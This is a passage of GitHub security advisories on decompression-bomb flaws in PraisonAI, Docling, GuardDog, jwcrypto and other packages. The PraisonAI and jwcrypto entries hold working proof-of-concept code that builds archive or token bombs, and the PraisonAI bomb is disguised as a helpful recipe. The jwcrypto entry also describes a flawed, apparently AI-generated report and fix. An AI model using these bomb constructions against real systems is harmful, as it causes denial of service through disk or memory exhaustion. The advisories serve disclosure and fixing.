The _safe_extractall() function in PraisonAI's recipe registry validates archive members against path traversal attacks but performs no checks on individual member sizes, cumulative extracted size, or member count before calling tar.extractall(). An attacker can publish a malicious recipe bundle containing highly compressible data (e.g., 10GB of zeros compressing to ~10MB) that exhausts the victim's disk when pulled via LocalRegistry.pull() or HttpRegistry.pull().
Details
The vulnerable function is _safe_extractall() at src/praisonai/praisonai/recipe/registry.py:131-162:
def _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None:
dest_resolved = dest_dir.resolve()
for member in tar.getmembers():
member_path = Path(member.name)
# Reject absolute paths
if member_path.is_absolute():
raise RegistryError(...)
# Reject '..' components
if '..' in member_path.parts:
raise RegistryError(...)
# Reject resolved paths escaping dest_dir
resolved = (dest_resolved / member_path).resolve()
if not str(resolved).startswith(str(dest_resolved) + os.sep) and resolved != dest_resolved:
raise RegistryError(...)
# All members validated — safe to extract
tar.extractall(dest_dir) # <-- No size limit
The function iterates all tar members and checks for path traversal (absolute paths, .. components, resolved path escaping), but never inspects member.size. The TarInfo.size attribute is available on every member and represents the uncompressed size, but it is never read.
This function is called from two locations:
- LocalRegistry.pull() at line 396-397
- HttpRegistry.pull() at line 791-792
The publish() method at line 296-298 only copies the compressed bundle via shutil.copy2(), so the bomb only detonates when a victim calls pull().
No size limits, upload quotas, or decompression guards exist anywhere in the registry module.
PoC
# Step 1: Create a malicious recipe bundle
mkdir bomb && cd bomb
cat > manifest.json << 'EOF'
{"name": "useful-recipe", "version": "1.0.0", "description": "Helpful AI recipe", "tags": ["ai"], "files": ["agent.yaml"]}
EOF
# Create a 10GB file of zeros (compresses to ~10MB with gzip)
dd if=/dev/zero of=agent.yaml bs=1M count=10240
# Bundle it as a .praison file
tar czf ../useful-recipe-1.0.0.praison manifest.json agent.yaml
cd ..
# Step 2: Publish to local registry (~10MB stored)
python -c "
from praisonai.recipe.registry import LocalRegistry
reg = LocalRegistry()
reg.publish('useful-recipe-1.0.0.praison')
"
# Step 3: Victim pulls — extracts 10GB to disk
python -c "
from praisonai.recipe.registry import LocalRegistry
reg = LocalRegistry()
reg.pull('useful-recipe')
"
# Result: 10GB+ written to disk, potential disk exhaustion
Impact
- Disk exhaustion: A small compressed bundle (~10MB) can extract to 10GB+ of data, filling the victim's disk and causing denial of service for PraisonAI and potentially other applications on the same system.
- No authentication required: The local registry has no access controls on
publish(), and HTTP registry bundles are fetched from remote servers that the attacker controls. - Silent detonation: The extraction happens automatically during
pull()with no progress indication or size warning to the user.
Recommended Fix
Add a maximum extraction size limit to _safe_extractall():
MAX_EXTRACT_SIZE = 500 * 1024 * 1024 # 500MB
MAX_MEMBER_COUNT = 1000
def _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -> None:
dest_resolved = dest_dir.resolve()
members = tar.getmembers()
if len(members) > MAX_MEMBER_COUNT:
raise RegistryError(
f"Archive contains too many members ({len(members)} > {MAX_MEMBER_COUNT})"
)
total_size = 0
for member in members:
member_path = Path(member.name)
if member_path.is_absolute():
raise RegistryError(
f"Refusing to extract absolute path in archive: {member.name}"
)
if '..' in member_path.parts:
raise RegistryError(
f"Refusing to extract path traversal in archive: {member.name}"
)
resolved = (dest_resolved / member_path).resolve()
if not str(resolved).startswith(str(dest_resolved) + os.sep) and resolved != dest_resolved:
raise RegistryError(
f"Refusing to extract path escaping target directory: {member.name}"
)
total_size += member.size
if total_size > MAX_EXTRACT_SIZE:
raise RegistryError(
f"Archive extraction would exceed size limit "
f"({total_size} > {MAX_EXTRACT_SIZE} bytes)"
)
tar.extractall(dest_dir)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "PraisonAI"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.128"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40148"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T19:26:21Z",
"nvd_published_at": "2026-04-09T22:16:35Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `_safe_extractall()` function in PraisonAI\u0027s recipe registry validates archive members against path traversal attacks but performs no checks on individual member sizes, cumulative extracted size, or member count before calling `tar.extractall()`. An attacker can publish a malicious recipe bundle containing highly compressible data (e.g., 10GB of zeros compressing to ~10MB) that exhausts the victim\u0027s disk when pulled via `LocalRegistry.pull()` or `HttpRegistry.pull()`.\n\n## Details\n\nThe vulnerable function is `_safe_extractall()` at `src/praisonai/praisonai/recipe/registry.py:131-162`:\n\n```python\ndef _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -\u003e None:\n dest_resolved = dest_dir.resolve()\n for member in tar.getmembers():\n member_path = Path(member.name)\n # Reject absolute paths\n if member_path.is_absolute():\n raise RegistryError(...)\n # Reject \u0027..\u0027 components\n if \u0027..\u0027 in member_path.parts:\n raise RegistryError(...)\n # Reject resolved paths escaping dest_dir\n resolved = (dest_resolved / member_path).resolve()\n if not str(resolved).startswith(str(dest_resolved) + os.sep) and resolved != dest_resolved:\n raise RegistryError(...)\n # All members validated \u2014 safe to extract\n tar.extractall(dest_dir) # \u003c-- No size limit\n```\n\nThe function iterates all tar members and checks for path traversal (absolute paths, `..` components, resolved path escaping), but never inspects `member.size`. The `TarInfo.size` attribute is available on every member and represents the uncompressed size, but it is never read.\n\nThis function is called from two locations:\n- `LocalRegistry.pull()` at line 396-397\n- `HttpRegistry.pull()` at line 791-792\n\nThe `publish()` method at line 296-298 only copies the compressed bundle via `shutil.copy2()`, so the bomb only detonates when a victim calls `pull()`.\n\nNo size limits, upload quotas, or decompression guards exist anywhere in the registry module.\n\n## PoC\n\n```bash\n# Step 1: Create a malicious recipe bundle\nmkdir bomb \u0026\u0026 cd bomb\n\ncat \u003e manifest.json \u003c\u003c \u0027EOF\u0027\n{\"name\": \"useful-recipe\", \"version\": \"1.0.0\", \"description\": \"Helpful AI recipe\", \"tags\": [\"ai\"], \"files\": [\"agent.yaml\"]}\nEOF\n\n# Create a 10GB file of zeros (compresses to ~10MB with gzip)\ndd if=/dev/zero of=agent.yaml bs=1M count=10240\n\n# Bundle it as a .praison file\ntar czf ../useful-recipe-1.0.0.praison manifest.json agent.yaml\ncd ..\n\n# Step 2: Publish to local registry (~10MB stored)\npython -c \"\nfrom praisonai.recipe.registry import LocalRegistry\nreg = LocalRegistry()\nreg.publish(\u0027useful-recipe-1.0.0.praison\u0027)\n\"\n\n# Step 3: Victim pulls \u2014 extracts 10GB to disk\npython -c \"\nfrom praisonai.recipe.registry import LocalRegistry\nreg = LocalRegistry()\nreg.pull(\u0027useful-recipe\u0027)\n\"\n# Result: 10GB+ written to disk, potential disk exhaustion\n```\n\n## Impact\n\n- **Disk exhaustion:** A small compressed bundle (~10MB) can extract to 10GB+ of data, filling the victim\u0027s disk and causing denial of service for PraisonAI and potentially other applications on the same system.\n- **No authentication required:** The local registry has no access controls on `publish()`, and HTTP registry bundles are fetched from remote servers that the attacker controls.\n- **Silent detonation:** The extraction happens automatically during `pull()` with no progress indication or size warning to the user.\n\n## Recommended Fix\n\nAdd a maximum extraction size limit to `_safe_extractall()`:\n\n```python\nMAX_EXTRACT_SIZE = 500 * 1024 * 1024 # 500MB\nMAX_MEMBER_COUNT = 1000\n\ndef _safe_extractall(tar: tarfile.TarFile, dest_dir: Path) -\u003e None:\n dest_resolved = dest_dir.resolve()\n members = tar.getmembers()\n \n if len(members) \u003e MAX_MEMBER_COUNT:\n raise RegistryError(\n f\"Archive contains too many members ({len(members)} \u003e {MAX_MEMBER_COUNT})\"\n )\n \n total_size = 0\n for member in members:\n member_path = Path(member.name)\n if member_path.is_absolute():\n raise RegistryError(\n f\"Refusing to extract absolute path in archive: {member.name}\"\n )\n if \u0027..\u0027 in member_path.parts:\n raise RegistryError(\n f\"Refusing to extract path traversal in archive: {member.name}\"\n )\n resolved = (dest_resolved / member_path).resolve()\n if not str(resolved).startswith(str(dest_resolved) + os.sep) and resolved != dest_resolved:\n raise RegistryError(\n f\"Refusing to extract path escaping target directory: {member.name}\"\n )\n total_size += member.size\n if total_size \u003e MAX_EXTRACT_SIZE:\n raise RegistryError(\n f\"Archive extraction would exceed size limit \"\n f\"({total_size} \u003e {MAX_EXTRACT_SIZE} bytes)\"\n )\n tar.extractall(dest_dir)\n```",
"id": "GHSA-f2h6-7xfr-xm8w",
"modified": "2026-04-10T19:26:21Z",
"published": "2026-04-10T19:26:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-f2h6-7xfr-xm8w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40148"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI Vulnerable to Decompression Bomb DoS via Recipe Bundle Extraction Without Size Limits"
}
GHSA-F4CH-VXWC-3P2M
Vulnerability from github – Published: 2026-10-06 00:32 – Updated: 2026-10-06 13:43Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-3cr3-8m4c-fpxw. This link is maintained to preserve external references.
Original Description
Docling simplifies document processing by parsing diverse formats and providing integrations with the generative AI ecosystem. From 2.45.0 until 2.131.0, METS-GBS format detection in docling/datamodel/document.py and the backend in docling/backend/mets_gbs_backend.py call tarfile.TarFile.getmembers() before enforcing the max_member_count limit, causing the full archive member list to be allocated before the limit can stop processing. A small gzip-compressed tar archive with a very large number of empty members can therefore consume memory proportional to the declared member count, including during format detection before the allowed_formats restriction is applied. This issue is a residual weakness in the member-count protection added for CVE-2026-44018. This issue is fixed in 2.131.0.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "docling"
},
"ranges": [
{
"events": [
{
"introduced": "2.45.0"
},
{
"fixed": "2.131.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-06T13:43:11Z",
"nvd_published_at": "2026-10-05T22:16:57Z",
"severity": "MODERATE"
},
"details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00a0GHSA-3cr3-8m4c-fpxw. This link is maintained to preserve external references.\n\n## Original Description\nDocling simplifies document processing by parsing diverse formats and providing integrations with the generative AI ecosystem. From 2.45.0 until 2.131.0, METS-GBS format detection in docling/datamodel/document.py and the backend in docling/backend/mets_gbs_backend.py call tarfile.TarFile.getmembers() before enforcing the max_member_count limit, causing the full archive member list to be allocated before the limit can stop processing. A small gzip-compressed tar archive with a very large number of empty members can therefore consume memory proportional to the declared member count, including during format detection before the allowed_formats restriction is applied. This issue is a residual weakness in the member-count protection added for CVE-2026-44018. This issue is fixed in 2.131.0.",
"id": "GHSA-f4ch-vxwc-3p2m",
"modified": "2026-10-06T13:43:11Z",
"published": "2026-10-06T00:32:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/docling-project/docling/security/advisories/GHSA-3cr3-8m4c-fpxw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-105747"
},
{
"type": "WEB",
"url": "https://github.com/docling-project/docling/pull/4412"
},
{
"type": "WEB",
"url": "https://github.com/docling-project/docling/commit/ebae65cd71c37c88b36185b406a449b92d8f7ffa"
},
{
"type": "WEB",
"url": "https://github.com/docling-project/docling/releases/tag/v2.131.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Duplicate Advisory: Docling: METS-GBS archive member limit enforced after full member enumeration (memory exhaustion during format detection)",
"withdrawn": "2026-10-06T13:43:11Z"
}
GHSA-F678-5VXR-2R99
Vulnerability from github – Published: 2026-10-12 18:31 – Updated: 2026-10-12 18:31Gumlet php-image-resize before 3.0.1 contains a denial of service vulnerability because the ImageResize constructor in lib/ImageResize.php passes images to GD imagecreatefrom* functions without pixel limits. Remote attackers can upload small, highly compressed images that decode to large bitmaps, exhausting PHP memory and terminating the worker process.
{
"affected": [],
"aliases": [
"CVE-2026-109398"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-12T16:17:05Z",
"severity": "HIGH"
},
"details": "Gumlet php-image-resize before 3.0.1 contains a denial of service vulnerability because the ImageResize constructor in lib/ImageResize.php passes images to GD imagecreatefrom* functions without pixel limits. Remote attackers can upload small, highly compressed images that decode to large bitmaps, exhausting PHP memory and terminating the worker process.",
"id": "GHSA-f678-5vxr-2r99",
"modified": "2026-10-12T18:31:34Z",
"published": "2026-10-12T18:31:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gumlet/php-image-resize/security/advisories/GHSA-3g9v-hjrx-mg5h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-109398"
},
{
"type": "WEB",
"url": "https://github.com/gumlet/php-image-resize/commit/10c1f386e672536d82be0f39b236a80d87767a50"
},
{
"type": "WEB",
"url": "https://github.com/gumlet/php-image-resize/commit/cd01c9e8aa2382211d760c825799c8102987a8c2"
},
{
"type": "WEB",
"url": "https://github.com/gumlet/php-image-resize/blob/3.0.0/lib/ImageResize.php#L122-L163"
},
{
"type": "WEB",
"url": "https://github.com/gumlet/php-image-resize/releases/tag/3.0.1"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/gumlet-php-image-resize-before-3.0.1-denial-of-service-via-decompression-bombs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-FFJ4-JQ7M-9G6V
Vulnerability from github – Published: 2026-01-13 21:54 – Updated: 2026-01-13 21:54Summary
GuardDog's safe_extract() function does not validate decompressed file sizes when extracting ZIP archives (wheels, eggs), allowing attackers to cause denial of service through zip bombs. A malicious package can consume gigabytes of disk space from a few megabytes of compressed data.
Vulnerability Details
Affected Component: guarddog/utils/archives.py - safe_extract() function
Vulnerability Type: CWE-409 - Improper Handling of Highly Compressed Data (Zip Bomb)
Severity: HIGH (CVSS ~8)
Attack Vector: Network (malicious package uploaded to PyPI/npm) or local
Root Cause
The safe_extract() function handles TAR files securely using the tarsafe library, but ZIP file extraction has no size validation:
elif zipfile.is_zipfile(source_archive):
with zipfile.ZipFile(source_archive, "r") as zip:
for file in zip.namelist():
zip.extract(file, path=os.path.join(target_directory, file))
Missing protections:
- ❌ No decompressed size limit
- ❌ No compression ratio validation
- ❌ No file count limits
- ❌ No total extracted size validation
Impact
Denial of Service Scenarios
1. CI/CD Pipeline Disruption - Attacker publishes malicious package to PyPI - Developer adds package to requirements.txt - CI/CD runs GuardDog scan - Disk fills (GitHub Actions: standard 14GB limit) - All deployments blocked
2. Resource Exhaustion
- Local development environments
- Security scanning infrastructure
- Automated scanning systems
- Docker containers with limited disk
3. Supply Chain Attack Amplification - Single malicious package blocks security scanning - Prevents detection of other malicious packages - Forces manual intervention - Increases security team workload
Recommended Fix
Add size validation for ZIP files similar to what tarsafe provides for TAR files
Configuration Options
Make limits configurable via environment variables or config file
Additional Improvements
- Add warning logs when archives approach limits
- Provide clear error messages for users
- Document limits in user-facing documentation
- Add tests for zip bomb detection
- Consider using a safe ZIP library (similar to tarsafe)
Credit
Reported by: Charbel (dwbruijn)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "guarddog"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.7.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22870"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-13T21:54:41Z",
"nvd_published_at": "2026-01-13T21:15:55Z",
"severity": "HIGH"
},
"details": "## Summary\n\nGuardDog\u0027s `safe_extract()` function does not validate decompressed file sizes when extracting ZIP archives (wheels, eggs), allowing attackers to cause denial of service through zip bombs. A malicious package can consume gigabytes of disk space from a few megabytes of compressed data.\n\n## Vulnerability Details\n\n**Affected Component:** `guarddog/utils/archives.py` - `safe_extract()` function \n**Vulnerability Type:** CWE-409 - Improper Handling of Highly Compressed Data (Zip Bomb) \n**Severity:** HIGH (CVSS ~8) \n**Attack Vector:** Network (malicious package uploaded to PyPI/npm) or local\n\n### Root Cause\n\nThe `safe_extract()` function handles TAR files securely using the `tarsafe` library, but ZIP file extraction has no size validation:\n```python\nelif zipfile.is_zipfile(source_archive):\n with zipfile.ZipFile(source_archive, \"r\") as zip:\n for file in zip.namelist():\n zip.extract(file, path=os.path.join(target_directory, file))\n```\n\n**Missing protections:**\n- \u274c No decompressed size limit\n- \u274c No compression ratio validation \n- \u274c No file count limits\n- \u274c No total extracted size validation\n\n## Impact\n\n### Denial of Service Scenarios\n\n**1. CI/CD Pipeline Disruption**\n- Attacker publishes malicious package to PyPI\n- Developer adds package to requirements.txt\n- CI/CD runs GuardDog scan\n- Disk fills (GitHub Actions: standard 14GB limit)\n- All deployments blocked\n\n**2. Resource Exhaustion**\n- Local development environments\n- Security scanning infrastructure \n- Automated scanning systems\n- Docker containers with limited disk\n\n**3. Supply Chain Attack Amplification**\n- Single malicious package blocks security scanning\n- Prevents detection of other malicious packages\n- Forces manual intervention\n- Increases security team workload\n\n## Recommended Fix\n\nAdd size validation for ZIP files similar to what `tarsafe` provides for TAR files\n\n### Configuration Options\n\nMake limits configurable via environment variables or config file\n\n## Additional Improvements\n\n1. **Add warning logs** when archives approach limits\n2. **Provide clear error messages** for users\n3. **Document limits** in user-facing documentation\n4. **Add tests** for zip bomb detection\n5. **Consider using a safe ZIP library** (similar to tarsafe)\n\n## Credit\n\nReported by: Charbel (dwbruijn)",
"id": "GHSA-ffj4-jq7m-9g6v",
"modified": "2026-01-13T21:54:42Z",
"published": "2026-01-13T21:54:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/DataDog/guarddog/security/advisories/GHSA-ffj4-jq7m-9g6v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22870"
},
{
"type": "WEB",
"url": "https://github.com/DataDog/guarddog/commit/c3fb07b4838945f42497e78b7a02bcfb1e63969b"
},
{
"type": "PACKAGE",
"url": "https://github.com/DataDog/guarddog"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "GuardDog Zip Bomb Vulnerability in safe_extract() Allows DoS"
}
GHSA-FFQ8-C9HX-7WVF
Vulnerability from github – Published: 2026-10-08 18:32 – Updated: 2026-10-13 18:30Malcolm's upload-processing pipeline (scripts/safe-extract.py) enforces entry-count, nesting-depth, and total-uncompressed-byte limits when extracting container archives (zip/tar/rar/7z via libarchive), but those limits are not applied when the uploaded file is a single-stream compressed format (.gz, .bz2, .xz, .lzma, .lz) that isn't a .tar.*-style archive. Any authenticated user permitted to upload PCAP/log files can upload a small, highly compressible file (e.g. a gzip bomb) that decompresses to an effectively unbounded size on disk, exhausting the shared Docker volume used by OpenSearch, Logstash, Arkime, and Zeek, and disrupting the platform for all users.
{
"affected": [],
"aliases": [
"CVE-2026-107335"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-08T18:17:19Z",
"severity": "MODERATE"
},
"details": "Malcolm\u0027s upload-processing pipeline (scripts/safe-extract.py) enforces entry-count, nesting-depth, and total-uncompressed-byte limits when extracting container archives (zip/tar/rar/7z via libarchive), but those limits are not applied when the uploaded file is a single-stream compressed format (.gz, .bz2, .xz, .lzma, .lz) that isn\u0027t a .tar.*-style archive. Any authenticated user permitted to upload PCAP/log files can upload a small, highly compressible file (e.g. a gzip bomb) that decompresses to an effectively unbounded size on disk, exhausting the shared Docker volume used by OpenSearch, Logstash, Arkime, and Zeek, and disrupting the platform for all users.",
"id": "GHSA-ffq8-c9hx-7wvf",
"modified": "2026-10-13T18:30:27Z",
"published": "2026-10-08T18:32:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cisagov/Malcolm/security/advisories/GHSA-f2v6-8cj4-mhr6"
},
{
"type": "WEB",
"url": "https://github.com/cisagov/Malcolm/security/advisories/GHSA-jr6p-63pg-hr6g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-107335"
},
{
"type": "WEB",
"url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-280-01.json"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-FFXC-VW9F-X2CP
Vulnerability from github – Published: 2026-09-15 21:33 – Updated: 2026-09-15 21:33adm-zip versions 0.5.14 through 0.6.0 fail to apply zlib decompression output limits when ZIP entries declare zero uncompressed size. Attackers can craft malicious ZIP archives with highly compressible entries declaring zero size to exhaust memory and cause denial of service.
{
"affected": [],
"aliases": [
"CVE-2026-92000"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-15T21:16:49Z",
"severity": "HIGH"
},
"details": "adm-zip versions 0.5.14 through 0.6.0 fail to apply zlib decompression output limits when ZIP entries declare zero uncompressed size. Attackers can craft malicious ZIP archives with highly compressible entries declaring zero size to exhaust memory and cause denial of service.",
"id": "GHSA-ffxc-vw9f-x2cp",
"modified": "2026-09-15T21:33:06Z",
"published": "2026-09-15T21:33:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cthackers/adm-zip/security/advisories/GHSA-rcw4-f5rp-g42v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92000"
},
{
"type": "WEB",
"url": "https://github.com/cthackers/adm-zip/commit/491600683dacb6cb9fe0718a0eeb9cb5eb49afa6"
},
{
"type": "WEB",
"url": "https://github.com/cthackers/adm-zip/commit/8bc411184de1b5ca28138c53074fb61119994dde"
},
{
"type": "WEB",
"url": "https://github.com/cthackers/adm-zip"
},
{
"type": "WEB",
"url": "https://github.com/cthackers/adm-zip/blob/v0.6.0/methods/inflater.js"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/adm-zip-0.5.14-through-0.6.0-denial-of-service-via-zero-declared-uncompressed-size"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-FJRM-76X2-C4Q4
Vulnerability from github – Published: 2026-04-08 00:16 – Updated: 2026-06-06 00:25Summary
The fix for GHSA-j857-7rvv-vj97 in v1.5.6 is weak in that it does not allow to fully control the amount of plaintext the receiver is willing to deal with and provides just a weak upper bound. The patch limits input token size to 250KB but does not validate the decompressed output size. An unauthenticated attacker can craft a JWE token under the 250KB input limit that decompresses to very large data that may exceed small devices memory availability, causing Denial of Service via memory exhaustion.
Although this is technically not unbounded I do recognize that it may be too much for devices and is something that could be surprising to developers, and we can do better than that.
NOTE: the original report was sloppy (probably AI slop) and claimed arbitrary memory consumption, but simple testing showed that while 100MB could be decompressed a 1GB output was denied because the token exceeded the 250K compressed serialization.
NOTE WELL: The proposed solution was also sloppy, proposing to first decompress the data completely in memory (therefore causing the memory exhaustion) and then checking how much memory was already used to deny the operation. I intentionally left the "details" section untouched to show how bad AI slop is and how uncritical the submitter was, even as it was obvious the "suggested fix" is actually no solution at all, as it was using the very call that he claimed was causing "arbitrary" memory exhaustion and wrapping it around an "if" ... the actual solution is in the resolving commit in version 1.5.7
Details
The vulnerable code in jwcrypto/jwe.py:
if len(data) > default_max_compressed_size:
raise InvalidJWEData('Compressed data exceeds maximum allowed size')
self.plaintext = zlib.decompress(data, -zlib.MAX_WBITS)
The check validates data which is the compressed bytes, not the decompressed output. A 132KB token (under the 250KB limit) can decompress to approximately 100MB with no error raised.
PoC
Tested on jwcrypto 1.5.6 (patched version):
import zlib
from jwcrypto import jwe
from jwcrypto.jwk import JWK
import time
key = JWK.generate(kty='oct', size=128)
bomb_data = b"A" * 1024 * 1024 * 100 # 100MB uncompressed
token = jwe.JWE(
plaintext=bomb_data,
protected={"alg": "A128KW", "enc": "A128GCM", "zip": "DEF"}
)
token.add_recipient(key)
serialized = token.serialize(compact=True)
print(f"Token size: {len(serialized)/1024:.1f} KB") # 132.8 KB — under 250KB limit
tok2 = jwe.JWE()
tok2.deserialize(serialized, key)
print(f"Decompressed: {len(tok2.plaintext)/1024/1024:.0f} MB") # 100 MB
Output:
Token size: 132.8 KB
Decompressed: 100 MB
Impact
An unauthenticated attacker can exhaust server memory by sending crafted JWE tokens with ZIP compression. The existing patch (v1.5.6) does not prevent this attack. An unauthenticated attacker can cause memory exhaustion on memory-constrained systems. A token under the 250KB input limit can decompress to approximately 100MB.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.5.6"
},
"package": {
"ecosystem": "PyPI",
"name": "jwcrypto"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-39373"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-08T00:16:14Z",
"nvd_published_at": "2026-04-07T20:16:32Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe fix for GHSA-j857-7rvv-vj97 in v1.5.6 is weak in that it does not allow to fully control the amount of plaintext the receiver is willing to deal with and provides just a weak upper bound. The patch limits input token size to 250KB but does not validate the decompressed output size. An unauthenticated attacker can craft a JWE token under the 250KB input limit that decompresses to very large data that may exceed small devices memory availability, causing Denial of Service via memory exhaustion.\n\nAlthough this is technically not unbounded I do recognize that it may be too much for devices and is something that could be surprising to developers, and we can do better than that.\n\nNOTE: the original report was sloppy (probably AI slop) and claimed arbitrary memory consumption, but simple testing showed that while 100MB could be decompressed a 1GB output was denied because the token exceeded the 250K compressed serialization.\n\nNOTE WELL: The proposed solution was also sloppy, proposing to first decompress the data completely in memory (therefore causing the memory exhaustion) and then checking how much memory was already used to deny the operation. I _intentionally_ left the \"details\" section untouched to show how bad AI slop is and how _uncritical_ the submitter was, even as it was obvious the \"suggested fix\" is actually no solution at all, as it was using the very call that he claimed was causing \"arbitrary\" memory exhaustion and wrapping it around an \"if\" ... the actual solution is in the resolving commit in version 1.5.7\n\n### Details\nThe vulnerable code in `jwcrypto/jwe.py`:\n```python\nif len(data) \u003e default_max_compressed_size:\n raise InvalidJWEData(\u0027Compressed data exceeds maximum allowed size\u0027)\nself.plaintext = zlib.decompress(data, -zlib.MAX_WBITS)\n```\n\nThe check validates `data` which is the **compressed** bytes, not the decompressed output. A 132KB token (under the 250KB limit) can decompress to approximately 100MB with no error raised.\n\n### PoC\nTested on jwcrypto 1.5.6 (patched version):\n```python\nimport zlib\nfrom jwcrypto import jwe\nfrom jwcrypto.jwk import JWK\nimport time\n\nkey = JWK.generate(kty=\u0027oct\u0027, size=128)\nbomb_data = b\"A\" * 1024 * 1024 * 100 # 100MB uncompressed\n\ntoken = jwe.JWE(\n plaintext=bomb_data,\n protected={\"alg\": \"A128KW\", \"enc\": \"A128GCM\", \"zip\": \"DEF\"}\n)\ntoken.add_recipient(key)\nserialized = token.serialize(compact=True)\nprint(f\"Token size: {len(serialized)/1024:.1f} KB\") # 132.8 KB \u2014 under 250KB limit\n\ntok2 = jwe.JWE()\ntok2.deserialize(serialized, key)\nprint(f\"Decompressed: {len(tok2.plaintext)/1024/1024:.0f} MB\") # 100 MB\n```\n\nOutput:\n```\nToken size: 132.8 KB\nDecompressed: 100 MB\n```\n\n### Impact\nAn unauthenticated attacker can exhaust server memory by sending crafted JWE tokens with ZIP compression. The existing patch (v1.5.6) does not prevent this attack. An unauthenticated attacker can cause memory exhaustion on memory-constrained systems. A token under the 250KB input limit can decompress to approximately 100MB.",
"id": "GHSA-fjrm-76x2-c4q4",
"modified": "2026-06-06T00:25:45Z",
"published": "2026-04-08T00:16:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/latchset/jwcrypto/security/advisories/GHSA-fjrm-76x2-c4q4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39373"
},
{
"type": "WEB",
